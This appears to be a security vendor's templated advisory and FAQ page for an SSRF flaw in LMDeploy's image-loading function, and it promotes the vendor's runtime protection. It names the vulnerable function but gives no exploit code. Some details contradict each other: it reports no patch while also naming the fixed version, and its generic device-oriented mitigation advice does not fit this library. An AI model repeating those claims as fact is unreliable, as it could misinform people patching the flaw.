How severe is CVE-2026-33626?

CVE-2026-33626 has a CVSS score of 7.5/10, rated HIGH. Immediate patching is strongly recommended.

Which products are affected by CVE-2026-33626?

Affected package information for CVE-2026-33626 is not yet fully mapped. Check the official advisory links for details.

How do I patch CVE-2026-33626?

Apply the internlm lmdeploy security patch or hotfix for CVE-2026-33626 on the affected version, following the vendor advisory for your exact build.

How do I detect CVE-2026-33626 across my infrastructure?

Inventory every internlm lmdeploy deployment and check each version against the affected-products list above. Because the exploit targets the running system rather than your application code, also watch for exploitation at the network and runtime layer — O3 flags the exploit behaviour from runtime telemetry and egress traffic even before a vulnerable build is confirmed.

How do I mitigate CVE-2026-33626 if there is no patch (or I can't update yet)?

Cut exposure now: restrict the management/admin interface to trusted networks, segment the device, and apply the vendor's recommended configuration mitigations and any WAF/IPS signature. O3's runtime protection blocks the exploit chain at execution, holding the line on unpatched or end-of-life systems until you can patch.

How does O3 Security protect against CVE-2026-33626?

O3 detects and blocks CVE-2026-33626 exploitation at runtime: eBPF exploit-chain detection, plus L7 egress monitoring that catches the post-exploitation callback and severs the attacker's outbound channel.

Is CVE-2026-33626 actively exploited in the wild?

No public exploit code has been indexed for CVE-2026-33626 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2026-33626?

CVE-2026-33626 has an EPSS (Exploit Prediction Scoring System) score of 45.3%, placing it in the 99th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score warrants monitoring and prompt remediation.

What type of vulnerability is CVE-2026-33626?

CVE-2026-33626 is classified as Server-Side Request Forgery (SSRF) (CWE-918). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

Which products and versions are affected by CVE-2026-33626?

CVE-2026-33626 affects internlm lmdeploy. Check the affected-products list on this page against your deployed version to confirm exposure.

Is there exploit tooling available for CVE-2026-33626?

A Nuclei detection template exists for CVE-2026-33626, meaning automated scanners can fingerprint it. Public exploit tooling significantly increases real-world risk — prioritize patching and ensure detection coverage. Exploit tooling should only ever be used in isolated, authorized testing environments.

When was CVE-2026-33626 published, and has it been updated?

CVE-2026-33626 was published on April 20, 2026 and was last updated on June 17, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

CVE-2026-33626

HIGH

LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions prior to 0.12.3 have a Server-Side Request Forgery (SSRF) vulnerability in LMDeploy's vision-language…

Published

Apr 20, 2026

Updated

Jun 17, 2026

Affected

0 pkgs

Patched

None yet

Exploits

None indexed

EPSS Exploitation Probability

via FIRST.org ↗

45.3%probability of exploitation in next 30 days

High Risk99th percentile+36.55%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Description

LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions prior to 0.12.3 have a Server-Side Request Forgery (SSRF) vulnerability in LMDeploy's vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources. Version 0.12.3 patches the issue.

Affected Products

1 product · 1 configurations

Application

lmdeployinternlm

< 0.12.3

range

Detection & mitigation playbook

Vendor / appliance

Detect
Inventory every internlm lmdeploy deployment and check each version against the affected-products list above. Because the exploit targets the running system rather than your application code, also watch for exploitation at the network and runtime layer — O3 flags the exploit behaviour from runtime telemetry and egress traffic even before a vulnerable build is confirmed.
Fix
Apply the internlm lmdeploy security patch or hotfix for CVE-2026-33626 on the affected version, following the vendor advisory for your exact build.
Workarounds
Cut exposure now: restrict the management/admin interface to trusted networks, segment the device, and apply the vendor's recommended configuration mitigations and any WAF/IPS signature. O3's runtime protection blocks the exploit chain at execution, holding the line on unpatched or end-of-life systems until you can patch.
How O3 protects you
O3 detects and blocks CVE-2026-33626 exploitation at runtime: eBPF exploit-chain detection, plus L7 egress monitoring that catches the post-exploitation callback and severs the attacker's outbound channel.

Tailored to CVE-2026-33626. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions prior to 0.12.3 have a Server-Side Request Forgery (SSRF) vulnerability in LMDeploy's vision-language module. The `load_image()` function in `lmdeploy/vl/utils.py` fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources. Version 0.12.3 patches the issue.

O3 Security · Runtime Protection

Is CVE-2026-33626 being exploited in your environment?

O3's eBPF runtime sensors and L7 egress monitoring detect and block the CVE-2026-33626 exploit chain at execution — protecting unpatched and end-of-life systems until the vendor patch is applied.

Protect my workloads How runtime protection works